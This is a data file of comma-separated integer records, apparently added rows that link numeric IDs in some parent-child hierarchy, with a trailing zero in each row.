+3080,2933,2951,3080,0 +3081,2933,2951,3081,0 +3082,2933,2951,3082,0 +3083,2933,2951,3083,0 +3084,2933,2952,3084,0 +3085,2933,2952,3085,0 +3086,2933,2952,3086,0 +3087,2933,2952,3087,0 +3088,2933,2952,3088,0 +3089,2933,2952,3089,0 +3090,2933,2952,3090,0 +3091,2933,2952,3091,0 +3092,2933,2952,3092,0 +3093,2933,2952,3093,0 +3094,2933,2952,3094,0 +3095,2933,2952,3095,0 +3096,2933,2952,3096,0 +3097,2933,2952,3097,0 +3098,2933,2952,3098,0 +3099,2933,2952,3099,0 +3100,2933,2952,3100,0 +3101,2933,2952,3101,0 +3102,2933,2952,3102,0 +3103,2933,2952,3103,0 +3104,2933,2952,3104,0 +3105,2933,2952,3105,0 +3106,2933,2952,3106,0 +3107,2933,2952,3107,0 +3108,2933,2952,3108,0 +3109,2933,2953,3109,0 +5490,2933,2953,5490,0 +20374,2933,2953,20374,0 +5670,2933,3898,5670,0 +5671,2933,3898,5671,0 +5672,2933,3898,5672,0 +5227,5217,5226,5227,0 +5229,5217,5228,5229,0 +5230,5217,5228,5230,0 +5231,5217,5228,5231,0 +5232,5217,5228,5232,0 +5233,5217,5228,5233,0 +5235,5217,5234,5235,0 +5236,5217,5234,5236,0 +5237,5217,5234,5237,0 +5238,5217,5234,5238,0 +5239,5217,5234,5239,0 +5240,5217,5234,5240,0 +5241,5217,5234,5241,0 +5242,5217,5234,5242,0 +5243,5217,5234,5243,0 +5244,5217,5234,5244,0 +18142,5217,5272,18142,0 +18143,5217,5272,18143,0 +18144,5217,5272,18144,0 +18145,5217,5272,18145,0 +18146,5217,5272,18146,0 +18147,5217,5272,18147,0 +18148,5217,5272,18148,0 +18149,5217,5272,18149,0 +18138,5217,18134,18138,0 +18139,5217,18134,18139,0 +18140,5217,18134,18140,0 +18141,5217,18135,18141,0 +18150,5217,18136,18150,0 +18151,5217,18136,18151,0 +18152,5217,18136,18152,0 +18153,5217,18136,18153,0 +18154,5217,18136,18154,0 +18155,5217,18136,18155,0 +18156,5217,18136,18156,0 +18157,5217,18136,18157,0 +18186,5217,18137,18186,0 +18187,5217,18137,18187,0 +18188,5217,18137,18188,0 +18189,5217,18137,18189,0 +18190,5217,18137,18190,0 +18191,5217,18137,18191,0 +18192,5217,18137,18192,0 +18193,5217,18137,18193,0 +5754,5752,5753,5754,0 +19140,5752,5753,19140,0 +19141,5752,5753,19141,0 +19142,5752,5753,19142,0 +19143,5752,5753,19143,0 +19144,5752,5753,19144,0 +19145,5752,5753,19145,0 +5756,5752,5755,5756,0 +5757,5752,5755,5757,0 +5758,5752,5755,5758,0 +5760,5752,5755,5760,0 +5761,5752,5755,5761,0 +5762,5752,5755,5762,0 +5765,5752,5755,5765,0 +5766,5752,5755,5766,0 +19160,5752,5755,19160,0 +5772,5752,5771,5772,0 +5774,5752,5773,5774,0 +19150,5752,5773,19150,0 +19151,5752,5773,19151,0 +19152,5752,5773,19152,0 +19153,5752,5773,19153,0 +19154,5752,5773,19154,0 +5796,5752,5795,5796,0 +5797,5752,5795,5797,0 +19161,5752,5795,19161,0 +19162,5752,5795,19162,0 +19163,5752,5795,19163,0 +19164,5752,5795,19164,0 +19165,5752,5795,19165,0 +19166,5752,5795,19166,0 +19167,5752,5795,19167,0 +19168,5752,5795,19168,0 +19169,5752,5795,19169,0 +20401,5752,5795,20401,0 +5807,5752,5806,5807,0 +5808,5752,5806,5808,0 +5809,5752,5806,5809,0 +5810,5752,5806,5810,0 +5812,5752,5806,5812,0 +5813,5752,5806,5813,0 +19155,5752,5806,19155,0 +19156,5752,5806,19156,0 +19157,5752,5806,19157,0 +19158,5752,5806,19158,0 +19159,5752,5806,19159,0 +5825,5752,5824,5825,0 +19147,5752,5824,19147,0 +19148,5752,5824,19148,0 +19149,5752,5824,19149,0 +5827,5752,5826,5827,0 +19146,5752,5826,19146,0 +5836,5834,5835,5836,0 +5838,5834,5837,5838,0 +5841,5839,5840,5841,0 +5843,5839,5842,5843,0 +5845,5839,5844,5845,0 +5847,5839,5846,5847,0 +5850,5839,5849,5850,0 +5853,5851,5852,5853,0 +5855,5851,5854,5855,0 +5857,5851,5856,5857,0 +5860,5851,5856,5860,0 +19133,5851,5856,19133,0 +19134,5851,5856,19134,0 +19135,5851,5856,19135,0 +19136,5851,5856,19136,0 +5862,5851,5861,5862,0 +5863,5851,5861,5863,0 +5865,5851,5864,5865,0 +5866,5851,5864,5866,0 +5867,5851,5864,5867,0 +19137,5851,5864,19137,0 +19138,5851,5864,19138,0 +5869,5851,5868,5869,0 +5870,5851,5868,5870,0 +5871,5851,5868,5871,0 +5872,5851,5868,5872,0 +5873,5851,5868,5873,0 +5874,5851,5868,5874,0 +5875,5851,5868,5875,0 +5876,5851,5868,5876,0 +5877,5851,5868,5877,0 +5878,5851,5868,5878,0 +5879,5851,5868,5879,0 +5880,5851,5868,5880,0 +5881,5851,5868,5881,0 +5882,5851,5868,5882,0 +19121,5851,5868,19121,0 +19122,5851,5868,19122,0 +19123,5851,5868,19123,0 +19124,5851,5868,19124,0 +5884,5851,5883,5884,0 +5885,5851,5883,5885,0 +5886,5851,5883,5886,0 +5887,5851,5883,5887,0 +5888,5851,5883,5888,0 +5889,5851,5883,5889,0 +5890,5851,5883,5890,0 +5891,5851,5883,5891,0 +5892,5851,5883,5892,0 +5893,5851,5883,5893,0 +5894,5851,5883,5894,0 +5895,5851,5883,5895,0 +5896,5851,5883,5896,0 +5897,5851,5883,5897,0 +5898,5851,5883,5898,0 +5899,5851,5883,5899,0 +5900,5851,5883,5900,0 +5901,5851,5883,5901,0 +5903,5851,5883,5903,0 +5904,5851,5883,5904,0 +5905,5851,5883,5905,0 +19120,5851,5883,19120,0 +19272,5851,5883,19272,0 +19126,5851,19125,19126,0 +19127,5851,19125,19127,0 +19128,5851,19125,19128,0 +19129,5851,19125,19129,0 +19130,5851,19125,19130,0 +19131,5851,19125,19131,0 +19132,5851,19125,19132,0 +5908,5906,5907,5908,0 +5909,5906,5907,5909,0 +5911,5906,5910,5911,0 +5913,5906,5912,5913,0 +5915,5906,5914,5915,0 +5916,5906,5914,5916,0 +19101,5906,5914,19101,0 +19102,5906,5914,19102,0 +19103,5906,5914,19103,0 +19104,5906,5914,19104,0 +19105,5906,5914,19105,0 +19106,5906,5914,19106,0 +19107,5906,5914,19107,0 +5918,5906,5917,5918,0 +5920,5906,5919,5920,0 +19109,5906,19108,19109,0 +5923,5921,5922,5923,0 +5925,5921,5924,5925,0 +20338,5921,5924,20338,0 +5928,5921,5927,5928,0 +5930,5921,5929,5930,0 +20339,5921,5929,20339,0 +5932,5921,5931,5932,0 +5934,5921,5933,5934,0 +5936,5921,5935,5936,0 +5938,5921,5937,5938,0 +5940,5921,5939,5940,0 +5942,5921,5941,5942,0 +5944,5921,5943,5944,0 +5945,5921,5943,5945,0 +5946,5921,5943,5946,0 +5948,5921,5947,5948,0 +5949,5921,5947,5949,0 +5950,5921,5947,5950,0 +5951,5921,5947,5951,0 +5952,5921,5947,5952,0 +5954,5921,5953,5954,0 +5957,5955,5956,5957,0 +5959,5955,5958,5959,0 +5961,5955,5960,5961,0 +18239,5955,5960,18239,0 +5963,5955,5962,5963,0 +5965,5955,5964,5965,0 +5967,5955,5966,5967,0 +5969,5955,5968,5969,0 +5970,5955,5968,5970,0 +5971,5955,5968,5971,0 +5972,5955,5968,5972,0 +5974,5955,5968,5974,0 +5976,5955,5968,5976,0 +5977,5955,5968,5977,0 +5978,5955,5968,5978,0 +5979,5955,5968,5979,0 +5980,5955,5968,5980,0 +5981,5955,5968,5981,0 +5982,5955,5968,5982,0 +5983,5955,5968,5983,0 +20287,5955,5968,20287,0 +5985,5955,5984,5985,0 +5987,5955,5986,5987,0 +5989,5955,5988,5989,0 +5991,5955,5990,5991,0 +5992,5955,5990,5992,0 +5993,5955,5990,5993,0 +5994,5955,5990,5994,0 +5995,5955,5990,5995,0 +5996,5955,5990,5996,0 +5998,5955,5997,5998,0 +6000,5955,5999,6000,0 +6002,5955,6001,6002,0 +6004,5955,6003,6004,0 +6006,5955,6005,6006,0 +6008,5955,6007,6008,0 +6010,5955,6009,6010,0 +6012,5955,6011,6012,0 +6014,5955,6013,6014,0 +6016,5955,6015,6016,0 +6018,5955,6017,6018,0 +6020,5955,6019,6020,0 +6022,5955,6021,6022,0 +6024,5955,6023,6024,0 +6026,5955,6025,6026,0 +6028,5955,6027,6028,0 +6030,5955,6029,6030,0 +6032,5955,6031,6032,0 +6034,5955,6033,6034,0 +6036,5955,6035,6036,0 +6038,5955,6037,6038,0 +6040,5955,6039,6040,0 +6042,5955,6041,6042,0 +6044,5955,6043,6044,0 +6046,5955,6045,6046,0 +6047,5955,6045,6047,0 +6048,5955,6045,6048,0 +6049,5955,6045,6049,0 +6050,5955,6045,6050,0 +6051,5955,6045,6051,0 +6052,5955,6045,6052,0 +6053,5955,6045,6053,0 +6054,5955,6045,6054,0 +6055,5955,6045,6055,0 +6056,5955,6045,6056,0 +6057,5955,6045,6057,0 +6058,5955,6045,6058,0 +6059,5955,6045,6059,0 +6060,5955,6045,6060,0 +6061,5955,6045,6061,0 +6062,5955,6045,6062,0 +6063,5955,6045,6063,0 +6064,5955,6045,6064,0 +6065,5955,6045,6065,0 +6066,5955,6045,6066,0 +6067,5955,6045,6067,0 +6068,5955,6045,6068,0 +6069,5955,6045,6069,0 +6070,5955,6045,6070,0 +6071,5955,6045,6071,0 +6072,5955,6045,6072,0 +6073,5955,6045,6073,0 +6074,5955,6045,6074,0 +6075,5955,6045,6075,0 +20106,5955,6045,20106,0 +19111,5955,19110,19111,0 +19113,5955,19112,19113,0 +19115,5955,19114,19115,0 +20108,5955,20107,20108,0 +20449,5955,20448,20449,0 +20453,5955,20452,20453,0 +20457,5955,20456,20457,0 +20459,5955,20458,20459,0 +20461,5955,20460,20461,0 +20463,5955,20462,20463,0 +6078,6076,6077,6078,0 +6080,6076,6079,6080,0 +6082,6076,6081,6082,0 +6084,6076,6083,6084,0 +6085,6076,6083,6085,0 +6086,6076,6083,6086,0 +6087,6076,6083,6087,0 +6088,6076,6083,6088,0 +6089,6076,6083,6089,0 +6090,6076,6083,6090,0 +6091,6076,6083,6091,0 +6092,6076,6083,6092,0 +6094,6076,6093,6094,0 +6095,6076,6093,6095,0 +6096,6076,6093,6096,0 +6098,6076,6097,6098,0 +6100,6076,6099,6100,0 +6102,6076,6101,6102,0 +6104,6076,6103,6104,0 +6105,6076,6103,6105,0 +6106,6076,6103,6106,0 +6107,6076,6103,6107,0 +6108,6076,6103,6108,0 +6109,6076,6103,6109,0 +6110,6076,6103,6110,0 +6111,6076,6103,6111,0 +6112,6076,6103,6112,0 +6114,6076,6113,6114,0 +6116,6076,6115,6116,0 +6117,6076,6115,6117,0 +6119,6076,6118,6119,0 +6120,6076,6118,6120,0 +6121,6076,6118,6121,0 +6122,6076,6118,6122,0 +6123,6076,6118,6123,0 +6124,6076,6118,6124,0 +6125,6076,6118,6125,0 +6126,6076,6118,6126,0 +6127,6076,6118,6127,0 +20096,6076,20095,20096,0 +6130,6128,6129,6130,0 +6132,6128,6131,6132,0 +6134,6128,6133,6134,0 +6136,6128,6135,6136,0 +6138,6128,6137,6138,0 +6140,6128,6139,6140,0 +20290,6128,6139,20290,0 +20333,6128,6139,20333,0 +6142,6128,6141,6142,0 +6144,6128,6143,6144,0 +6146,6128,6145,6146,0 +6148,6128,6147,6148,0 +6151,6128,6150,6151,0 +6153,6128,6152,6153,0 +6155,6128,6154,6155,0 +6157,6128,6156,6157,0 +6159,6128,6158,6159,0 +6161,6128,6160,6161,0 +6163,6128,6162,6163,0 +6165,6128,6164,6165,0 +6167,6128,6166,6167,0 +6169,6128,6168,6169,0 +6171,6128,6170,6171,0 +6173,6128,6172,6173,0 +6176,6128,6174,6176,0 +6178,6128,6177,6178,0 +6180,6128,6179,6180,0 +6182,6128,6181,6182,0 +6185,6128,6183,6185,0 +6187,6128,6183,6187,0 +6189,6128,6183,6189,0 +6191,6128,6183,6191,0 +6193,6128,6183,6193,0 +6194,6128,6183,6194,0 +6195,6128,6183,6195,0 +6197,6128,6196,6197,0 +6198,6128,6196,6198,0 +6199,6128,6196,6199,0 +6200,6128,6196,6200,0 +6201,6128,6196,6201,0 +6202,6128,6196,6202,0 +6203,6128,6196,6203,0 +6204,6128,6196,6204,0 +6206,6128,6205,6206,0 +6208,6128,6207,6208,0 +20289,6128,20288,20289,0 +20310,6128,20309,20310,0 +20312,6128,20311,20312,0 +20314,6128,20313,20314,0 +20329,6128,20328,20329,0 +20332,6128,20331,20332,0 +20335,6128,20334,20335,0 +20337,6128,20336,20337,0 +20451,6128,20450,20451,0 +20465,6128,20464,20465,0 +20467,6128,20466,20467,0 +6211,6209,6210,6211,0 +6212,6209,6210,6212,0 +6213,6209,6210,6213,0 +6214,6209,6210,6214,0 +6215,6209,6210,6215,0 +6216,6209,6210,6216,0 +6217,6209,6210,6217,0 +6219,6209,6218,6219,0 +6220,6209,6218,6220,0 +18975,6209,6218,18975,0 +18980,6209,6218,18980,0 +6222,6209,6221,6222,0 +6223,6209,6221,6223,0 +6224,6209,6221,6224,0 +6225,6209,6221,6225,0 +6226,6209,6221,6226,0 +6228,6209,6227,6228,0 +6229,6209,6227,6229,0 +6230,6209,6227,6230,0 +6231,6209,6227,6231,0 +6232,6209,6227,6232,0 +6233,6209,6227,6233,0 +6234,6209,6227,6234,0 +6235,6209,6227,6235,0 +6236,6209,6227,6236,0 +6237,6209,6227,6237,0 +6238,6209,6227,6238,0 +6239,6209,6227,6239,0 +6240,6209,6227,6240,0 +6242,6209,6241,6242,0 +6243,6209,6241,6243,0 +6244,6209,6241,6244,0 +6245,6209,6241,6245,0 +6247,6209,6246,6247,0 +6248,6209,6246,6248,0 +6249,6209,6246,6249,0 +6250,6209,6246,6250,0 +6251,6209,6246,6251,0 +18973,6209,6246,18973,0 +6258,6209,6257,6258,0 +6259,6209,6257,6259,0 +6260,6209,6257,6260,0 +6261,6209,6257,6261,0 +6262,6209,6257,6262,0 +6264,6209,6263,6264,0 +6265,6209,6263,6265,0 +6266,6209,6263,6266,0 +6267,6209,6263,6267,0 +6268,6209,6263,6268,0 +6269,6209,6263,6269,0 +6271,6209,6270,6271,0 +6272,6209,6270,6272,0 +6273,6209,6270,6273,0 +6274,6209,6270,6274,0 +6276,6209,6275,6276,0 +6278,6209,6277,6278,0 +6280,6209,6279,6280,0 +6281,6209,6279,6281,0 +6282,6209,6279,6282,0 +6283,6209,6279,6283,0 +6284,6209,6279,6284,0 +6285,6209,6279,6285,0 +6286,6209,6279,6286,0 +6287,6209,6279,6287,0 +6288,6209,6279,6288,0 +6289,6209,6279,6289,0 +20455,6209,20454,20455,0 +6292,6290,6291,6292,0 +6293,6290,6291,6293,0 +6294,6290,6291,6294,0 +6295,6290,6291,6295,0 +6296,6290,6291,6296,0 +6297,6290,6291,6297,0 +6299,6290,6298,6299,0 +6301,6290,6300,6301,0 +6302,6290,6300,6302,0 +6303,6290,6300,6303,0 +6304,6290,6300,6304,0 +6305,6290,6300,6305,0 +6306,6290,6300,6306,0 +6307,6290,6300,6307,0 +6308,6290,6300,6308,0 +6309,6290,6300,6309,0 +6310,6290,6300,6310,0 +6312,6290,6311,6312,0 +6314,6290,6313,6314,0 +6319,6290,6315,6319,0 +6320,6290,6315,6320,0 +6321,6290,6315,6321,0 +6322,6290,6315,6322,0 +6323,6290,6315,6323,0 +6324,6290,6315,6324,0 +6325,6290,6315,6325,0 +6326,6290,6315,6326,0 +6327,6290,6315,6327,0 +6328,6290,6315,6328,0 +6329,6290,6315,6329,0 +6330,6290,6315,6330,0 +6331,6290,6315,6331,0 +6332,6290,6315,6332,0 +6333,6290,6315,6333,0 +6334,6290,6315,6334,0 +6335,6290,6315,6335,0 +6337,6290,6315,6337,0 +18763,6290,6315,18763,0 +6339,6290,6338,6339,0 +6340,6290,6338,6340,0 +6341,6290,6338,6341,0 +6343,6290,6342,6343,0 +6344,6290,6342,6344,0 +6345,6290,6342,6345,0 +6346,6290,6342,6346,0 +6347,6290,6342,6347,0 +6348,6290,6342,6348,0 +6349,6290,6342,6349,0 +6350,6290,6342,6350,0 +6351,6290,6342,6351,0 +6353,6290,6352,6353,0 +6354,6290,6352,6354,0 +6355,6290,6352,6355,0 +6357,6290,6356,6357,0 +6358,6290,6356,6358,0 +6359,6290,6356,6359,0 +6360,6290,6356,6360,0 +6361,6290,6356,6361,0 +6363,6290,6362,6363,0 +6364,6290,6362,6364,0 +6365,6290,6362,6365,0 +6366,6290,6362,6366,0 +6368,6290,6367,6368,0 +6370,6290,6369,6370,0 +6371,6290,6369,6371,0 +6373,6290,6372,6373,0 +6375,6290,6374,6375,0 +6377,6290,6376,6377,0 +6379,6290,6378,6379,0 +6381,6290,6380,6381,0 +6383,6290,6382,6383,0 +6384,6290,6382,6384,0 +6385,6290,6382,6385,0 +6386,6290,6382,6386,0 +6387,6290,6382,6387,0 +6388,6290,6382,6388,0 +6389,6290,6382,6389,0 +6390,6290,6382,6390,0 +6391,6290,6382,6391,0 +6392,6290,6382,6392,0 +6393,6290,6382,6393,0 +6394,6290,6382,6394,0 +6395,6290,6382,6395,0 +6400,6398,6399,6400,0 +6401,6398,6399,6401,0 +6403,6398,6399,6403,0 +6404,6398,6399,6404,0 +6405,6398,6399,6405,0 +6406,6398,6399,6406,0 +6407,6398,6399,6407,0 +6408,6398,6399,6408,0 +6409,6398,6399,6409,0 +6410,6398,6399,6410,0 +6411,6398,6399,6411,0 +6412,6398,6399,6412,0 +6413,6398,6399,6413,0 +6414,6398,6399,6414,0 +6415,6398,6399,6415,0 +6416,6398,6399,6416,0 +6418,6398,6399,6418,0 +6419,6398,6399,6419,0 +6421,6398,6420,6421,0 +6422,6398,6420,6422,0 +6423,6398,6420,6423,0 +6424,6398,6420,6424,0 +6425,6398,6420,6425,0 +6426,6398,6420,6426,0 +6427,6398,6420,6427,0 +6428,6398,6420,6428,0 +6429,6398,6420,6429,0 +6430,6398,6420,6430,0 +6431,6398,6420,6431,0 +6432,6398,6420,6432,0 +6433,6398,6420,6433,0 +6434,6398,6420,6434,0 +6435,6398,6420,6435,0 +6436,6398,6420,6436,0 +6437,6398,6420,6437,0 +6438,6398,6420,6438,0 +6439,6398,6420,6439,0 +6440,6398,6420,6440,0 +6441,6398,6420,6441,0 +6442,6398,6420,6442,0 +6443,6398,6420,6443,0 +6444,6398,6420,6444,0 +6445,6398,6420,6445,0 +6446,6398,6420,6446,0 +6447,6398,6420,6447,0 +6448,6398,6420,6448,0 +6449,6398,6420,6449,0 +6450,6398,6420,6450,0 +6451,6398,6420,6451,0 +6452,6398,6420,6452,0 +6453,6398,6420,6453,0 +6454,6398,6420,6454,0 +6455,6398,6420,6455,0 +6456,6398,6420,6456,0 +6457,6398,6420,6457,0 +6458,6398,6420,6458,0 +6459,6398,6420,6459,0 +6460,6398,6420,6460,0 +6461,6398,6420,6461,0 +6462,6398,6420,6462,0 +6463,6398,6420,6463,0 +6464,6398,6420,6464,0 +6466,6398,6465,6466,0 +6467,6398,6465,6467,0 +6468,6398,6465,6468,0 +6470,6398,6469,6470,0 +6471,6398,6469,6471,0 +6474,6398,6469,6474,0 +6475,6398,6469,6475,0 +6476,6398,6469,6476,0 +6477,6398,6469,6477,0 +6478,6398,6469,6478,0 +6479,6398,6469,6479,0 +6480,6398,6469,6480,0 +6483,6398,6469,6483,0 +20330,6398,6469,20330,0 +6485,6398,6484,6485,0 +6486,6398,6484,6486,0 +6487,6398,6484,6487,0 +6488,6398,6484,6488,0 +6489,6398,6484,6489,0 +6491,6398,6490,6491,0 +6492,6398,6490,6492,0 +6493,6398,6490,6493,0 +6494,6398,6490,6494,0 +6495,6398,6490,6495,0 +6496,6398,6490,6496,0 +6497,6398,6490,6497,0 +6498,6398,6490,6498,0 +6499,6398,6490,6499,0 +6502,6398,6501,6502,0 +6503,6398,6501,6503,0 +6504,6398,6501,6504,0 +6505,6398,6501,6505,0 +6506,6398,6501,6506,0 +6507,6398,6501,6507,0 +6508,6398,6501,6508,0 +6509,6398,6501,6509,0 +6511,6398,6510,6511,0 +6512,6398,6510,6512,0 +6513,6398,6510,6513,0 +6516,6398,6514,6516,0 +6520,6398,6514,6520,0 +6521,6398,6514,6521,0 +6523,6398,6522,6523,0 +6524,6398,6522,6524,0 +6525,6398,6522,6525,0 +6526,6398,6522,6526,0 +6527,6398,6522,6527,0 +6528,6398,6522,6528,0 +6529,6398,6522,6529,0 +6530,6398,6522,6530,0 +6531,6398,6522,6531,0 +6532,6398,6522,6532,0 +6540,6536,6537,6540,0 +6542,6536,6537,6542,0 +6543,6536,6537,6543,0 +6544,6536,6537,6544,0 +6545,6536,6537,6545,0 +6546,6536,6537,6546,0 +6549,6536,6548,6549,0 +6551,6536,6550,6551,0 +20425,6536,6550,20425,0 +20426,6536,6550,20426,0 +20427,6536,6550,20427,0 +20428,6536,6550,20428,0 +20429,6536,6550,20429,0 +6553,6536,6552,6553,0 +6554,6536,6552,6554,0 +6555,6536,6552,6555,0 +6556,6536,6552,6556,0 +6557,6536,6552,6557,0 +6558,6536,6552,6558,0 +6559,6536,6552,6559,0 +6561,6536,6552,6561,0 +6562,6536,6552,6562,0 +6563,6536,6552,6563,0 +6564,6536,6552,6564,0 +6565,6536,6552,6565,0 +6566,6536,6552,6566,0 +20092,6536,6552,20092,0 +20421,6536,6552,20421,0 +20422,6536,6552,20422,0 +6568,6536,6567,6568,0 +20412,6536,6567,20412,0 +20413,6536,6567,20413,0 +20414,6536,6567,20414,0 +20415,6536,6567,20415,0 +6570,6536,6569,6570,0 +6572,6536,6569,6572,0 +6573,6536,6569,6573,0 +6575,6536,6569,6575,0 +6576,6536,6569,6576,0 +6577,6536,6569,6577,0 +6578,6536,6569,6578,0 +20430,6536,6569,20430,0 +20433,6536,6569,20433,0 +6581,6536,6580,6581,0 +6582,6536,6580,6582,0 +6583,6536,6580,6583,0 +6584,6536,6580,6584,0 +6585,6536,6580,6585,0 +7516,6536,7515,7516,0 +7517,6536,7515,7517,0 +7518,6536,7515,7518,0 +7519,6536,7515,7519,0 +20423,6536,7515,20423,0 +20424,6536,7515,20424,0 +7523,6536,7520,7523,0 +7524,6536,7520,7524,0 +7522,6536,7521,7522,0 +6588,6586,6587,6588,0 +6590,6586,6589,6590,0 +6592,6586,6591,6592,0 +6593,6586,6591,6593,0 +6594,6586,6591,6594,0 +6595,6586,6591,6595,0 +6596,6586,6591,6596,0 +6598,6586,6597,6598,0 +6599,6586,6597,6599,0 +6600,6586,6597,6600,0 +6601,6586,6597,6601,0 +6603,6586,6602,6603,0 +6604,6586,6602,6604,0 +6605,6586,6602,6605,0 +6606,6586,6602,6606,0 +6607,6586,6602,6607,0 +6608,6586,6602,6608,0 +6610,6586,6609,6610,0 +6611,6586,6609,6611,0 +6612,6586,6609,6612,0 +6614,6586,6613,6614,0 +6615,6586,6613,6615,0 +6616,6586,6613,6616,0 +6617,6586,6613,6617,0 +6618,6586,6613,6618,0 +6620,6586,6619,6620,0 +6621,6586,6619,6621,0 +6622,6586,6619,6622,0 +6623,6586,6619,6623,0 +6624,6586,6619,6624,0 +6625,6586,6619,6625,0 +6626,6586,6619,6626,0 +6627,6586,6619,6627,0 +6628,6586,6619,6628,0 +6629,6586,6619,6629,0 +6632,6630,6631,6632,0 +6640,6630,6631,6640,0 +6641,6630,6631,6641,0 +6643,6630,6631,6643,0 +6648,6630,6631,6648,0 +6649,6630,6631,6649,0 +6655,6630,6654,6655,0 +6656,6630,6654,6656,0 +6658,6630,6654,6658,0 +6660,6630,6654,6660,0 +6666,6630,6654,6666,0 +6667,6630,6654,6667,0 +6672,6630,6671,6672,0 +6682,6630,6671,6682,0 +6691,6630,6689,6691,0 +6692,6630,6689,6692,0 +6693,6630,6689,6693,0 +6694,6630,6689,6694,0 +6695,6630,6689,6695,0 +6696,6630,6689,6696,0 +6697,6630,6689,6697,0 +6698,6630,6689,6698,0 +6699,6630,6689,6699,0 +6700,6630,6689,6700,0 +6701,6630,6689,6701,0 +6702,6630,6689,6702,0 +6703,6630,6689,6703,0 +6704,6630,6689,6704,0 +6705,6630,6689,6705,0 +6706,6630,6689,6706,0 +6707,6630,6689,6707,0 +6708,6630,6689,6708,0 +20109,6630,6689,20109,0 +20110,6630,6689,20110,0 +6710,6630,6709,6710,0 +6711,6630,6709,6711,0 +6712,6630,6709,6712,0 +6713,6630,6709,6713,0 +6714,6630,6709,6714,0 +6715,6630,6709,6715,0 +6716,6630,6709,6716,0 +6717,6630,6709,6717,0 +6718,6630,6709,6718,0 +6719,6630,6709,6719,0 +6720,6630,6709,6720,0 +6721,6630,6709,6721,0 +6722,6630,6709,6722,0 +6723,6630,6709,6723,0 +6724,6630,6709,6724,0 +6725,6630,6709,6725,0 +6726,6630,6709,6726,0 +6727,6630,6709,6727,0 +6728,6630,6709,6728,0 +6732,6630,6729,6732,0 +6735,6630,6729,6735,0 +6745,6630,6729,6745,0 +6753,6630,6729,6753,0 +6757,6630,6756,6757,0 +6760,6758,6759,6760,0 +6762,6758,6761,6762,0 +6764,6758,6763,6764,0 +6766,6758,6765,6766,0 +6768,6758,6767,6768,0 +6770,6758,6769,6770,0 +6772,6758,6771,6772,0 +6774,6758,6773,6774,0 +6775,6758,6773,6775,0 +6776,6758,6773,6776,0 +6777,6758,6773,6777,0 +6778,6758,6773,6778,0 +6779,6758,6773,6779,0 +6780,6758,6773,6780,0 +6781,6758,6773,6781,0 +6782,6758,6773,6782,0 +6783,6758,6773,6783,0 +6784,6758,6773,6784,0 +6787,6785,6786,6787,0 +6788,6785,6786,6788,0 +6789,6785,6786,6789,0 +6790,6785,6786,6790,0 +6791,6785,6786,6791,0 +6792,6785,6786,6792,0 +6793,6785,6786,6793,0 +6794,6785,6786,6794,0 +6795,6785,6786,6795,0 +6796,6785,6786,6796,0 +6797,6785,6786,6797,0 +6798,6785,6786,6798,0 +6800,6785,6799,6800,0 +6801,6785,6799,6801,0 +6802,6785,6799,6802,0 +6803,6785,6799,6803,0 +6804,6785,6799,6804,0 +6806,6785,6805,6806,0 +6807,6785,6805,6807,0 +6808,6785,6805,6808,0 +6809,6785,6805,6809,0 +6810,6785,6805,6810,0 +6811,6785,6805,6811,0 +6812,6785,6805,6812,0 +6813,6785,6805,6813,0 +6814,6785,6805,6814,0 +6815,6785,6805,6815,0 +6816,6785,6805,6816,0 +6818,6785,6817,6818,0 +6819,6785,6817,6819,0 +6820,6785,6817,6820,0 +6821,6785,6817,6821,0 +6822,6785,6817,6822,0 +6824,6785,6823,6824,0 +6825,6785,6823,6825,0 +6826,6785,6823,6826,0 +6828,6785,6827,6828,0 +6829,6785,6827,6829,0 +6830,6785,6827,6830,0 +6831,6785,6827,6831,0 +6832,6785,6827,6832,0 +6833,6785,6827,6833,0 +6834,6785,6827,6834,0 +6835,6785,6827,6835,0 +6836,6785,6827,6836,0 +6837,6785,6827,6837,0 +6838,6785,6827,6838,0 +6839,6785,6827,6839,0 +6840,6785,6827,6840,0 +6841,6785,6827,6841,0 +6842,6785,6827,6842,0 +6843,6785,6827,6843,0 +6844,6785,6827,6844,0 +6846,6785,6845,6846,0 +6847,6785,6845,6847,0 +6849,6785,6848,6849,0 +6850,6785,6848,6850,0 +6851,6785,6848,6851,0 +6852,6785,6848,6852,0 +6853,6785,6848,6853,0 +6854,6785,6848,6854,0 +6855,6785,6848,6855,0 +6856,6785,6848,6856,0 +6857,6785,6848,6857,0 +6858,6785,6848,6858,0 +6859,6785,6848,6859,0 +6860,6785,6848,6860,0 +6861,6785,6848,6861,0 +6862,6785,6848,6862,0 +6863,6785,6848,6863,0 +6864,6785,6848,6864,0 +6865,6785,6848,6865,0 +6866,6785,6848,6866,0 +6867,6785,6848,6867,0 +6868,6785,6848,6868,0 +6869,6785,6848,6869,0 +6870,6785,6848,6870,0 +6871,6785,6848,6871,0 +6872,6785,6848,6872,0 +6873,6785,6848,6873,0 +6874,6785,6848,6874,0 +6875,6785,6848,6875,0 +6876,6785,6848,6876,0 +6877,6785,6848,6877,0 +6878,6785,6848,6878,0 +6879,6785,6848,6879,0 +18789,6785,6848,18789,0 +6881,6785,6880,6881,0 +6882,6785,6880,6882,0 +6885,6883,6884,6885,0 +6886,6883,6884,6886,0 +6887,6883,6884,6887,0 +6888,6883,6884,6888,0 +6889,6883,6884,6889,0 +6891,6883,6890,6891,0 +6892,6883,6890,6892,0 +6893,6883,6890,6893,0 +6894,6883,6890,6894,0 +6896,6883,6895,6896,0 +6897,6883,6895,6897,0 +6898,6883,6895,6898,0 +6899,6883,6895,6899,0 +20198,6883,6895,20198,0 +6901,6883,6900,6901,0 +6902,6883,6900,6902,0 +6903,6883,6900,6903,0 +6904,6883,6900,6904,0 +18790,6883,6900,18790,0 +6906,6883,6905,6906,0 +6908,6883,6907,6908,0 +6909,6883,6907,6909,0 +6910,6883,6907,6910,0 +6911,6883,6907,6911,0 +6912,6883,6907,6912,0 +6914,6883,6913,6914,0 +6915,6883,6913,6915,0 +6916,6883,6913,6916,0 +6917,6883,6913,6917,0 +6919,6883,6918,6919,0 +6920,6883,6918,6920,0 +6921,6883,6918,6921,0 +6922,6883,6918,6922,0 +6923,6883,6918,6923,0 +6924,6883,6918,6924,0 +6925,6883,6918,6925,0 +6926,6883,6918,6926,0 +6927,6883,6918,6927,0 +6928,6883,6918,6928,0 +6929,6883,6918,6929,0 +6930,6883,6918,6930,0 +6931,6883,6918,6931,0 +6932,6883,6918,6932,0 +6933,6883,6918,6933,0 +6934,6883,6918,6934,0 +6935,6883,6918,6935,0 +6936,6883,6918,6936,0 +6937,6883,6918,6937,0 +6938,6883,6918,6938,0 +6939,6883,6918,6939,0 